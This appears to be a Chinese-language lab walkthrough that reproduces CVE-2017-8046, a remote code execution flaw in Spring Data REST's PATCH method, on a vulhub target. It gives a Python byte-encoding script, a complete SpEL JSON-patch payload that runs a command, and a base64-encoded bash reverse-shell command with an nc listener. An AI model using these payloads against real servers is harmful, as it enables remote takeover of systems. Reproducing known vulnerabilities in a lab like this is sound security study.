近期会一直出spring框架的漏洞
--学如逆水行舟,不进则退
Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中(实现RFC6902),path的值被传入setValue
,导致执行了SpEL表达式,触发远程命令执行漏洞。
漏洞解析:
Spring Data Rest服务器PATCH请求远程代码执行漏洞CVE-2017-8046补充分析 | xxlegend
环境搭建这里使用vulhub靶场环境
搭建成功之后,访问靶场,出现以下页面说明搭建成功
漏洞验证之前,我们需要将要执行的命令进行Ascii转译,不然会执行不成功的 不会的看漏洞简介中的漏洞解析
这里进行Ascii转换的使用python脚本
payload变量单引号中就是我们要执行的命令,根据自己的需求修改即可
payload = b'touch /tmp/maskedman' bytecode = ','.join(str(i) for i in list(payload)) print(bytecode)
运行转换之后,访问http://靶场ip:8080/customers/1进行抓包
此处要注意::: 1. 抓包之后get方式修改为PATCH
2.添加字段:Content-Type: application/json-patch+json
3.漏洞利用的payload为(new byte 后面的{}括号中的数字就是执行的命令转换后的Ascii码)
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[{116,111,117,99,104,32,47,116,109,112,47,109,97,115,107,101,100,109,97,110}))/lastname", "value": "vulhub" }]
抓包之后进行重放,完成图如下:
发送成功之后,现在进去docker容器看一下,文件是否创建成功
进去docker容器命令为:
docker exec -it 容器ID /bin/bash
进入容器之后,发现文件创建成功,说明命令执行成功,如下图
反弹shell之前的准备步骤:
1.对反弹shell的命令进行base64编码
2.使用python脚本对base64编码后的命令进行转码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80My4ASDADjYuNjUvMTEyMiAwPiYx}|{base64,-d}|{bash,-i}
编码转码之后,在http://靶场ip:8080/customers/1页面处进行抓包
修改的注意点和上面是一样的,只需要将转码后的数字改为反弹shell的即可
nc监听
nc -lvvp 1122
官方已经发布新版本修复了该漏洞,受影响的用户可升级至最新版本来防护该漏洞。
参考文献:Spring Data Rest服务器PATCH请求远程代码执行漏洞技术分析与防护方案 – 绿盟科技技术博客 (nsfocus.net)